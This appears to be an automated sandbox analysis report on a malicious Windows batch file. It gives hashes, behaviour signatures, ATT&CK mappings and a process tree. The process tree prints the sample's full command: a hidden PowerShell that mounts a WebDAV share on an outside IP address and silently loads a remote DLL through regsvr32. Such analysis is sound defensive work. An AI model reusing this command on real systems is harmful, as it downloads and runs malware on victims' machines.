b98d04be56712946abc22b3f3c290a250214e917a94e16ab3370a45c64796edf

Analysis

max time kernel
100s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:20

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General

Target

1251190282077328978.bat
Size

2KB
MD5

c970742bbbab9c07147cc669cdf79d05
SHA1

4c34892270328351704a9e8ff730caddfa38324a
SHA256

b98d04be56712946abc22b3f3c290a250214e917a94e16ab3370a45c64796edf
SHA512

b04d59bf12fba57c67cf4b2f9384b6f906f047ca62277d9bfad26733ccd3d152dddcadeb446f35beff2bb9e13b4ece45aa07d349602f679038bdfef6e8007c21

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2016	wordpad.exe
2016	wordpad.exe
2016	wordpad.exe
2016	wordpad.exe
2016	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1020 wrote to memory of 2016	1020	cmd.exe	30
PID 1020 wrote to memory of 2016	1020	cmd.exe	30
PID 1020 wrote to memory of 2016	1020	cmd.exe	30
PID 1020 wrote to memory of 2304	1020	cmd.exe	31
PID 1020 wrote to memory of 2304	1020	cmd.exe	31
PID 1020 wrote to memory of 2304	1020	cmd.exe	31
PID 2304 wrote to memory of 2700	2304	powershell.exe	33
PID 2304 wrote to memory of 2700	2304	powershell.exe	33
PID 2304 wrote to memory of 2700	2304	powershell.exe	33
PID 2304 wrote to memory of 2860	2304	powershell.exe	34
PID 2304 wrote to memory of 2860	2304	powershell.exe	34
PID 2304 wrote to memory of 2860	2304	powershell.exe	34
PID 2304 wrote to memory of 2860	2304	powershell.exe	34
PID 2304 wrote to memory of 2860	2304	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1251190282077328978.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1020
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\130481526226319.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2700
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\130481526226319.dll
    3⤵
    PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2304-23-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2304-24-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download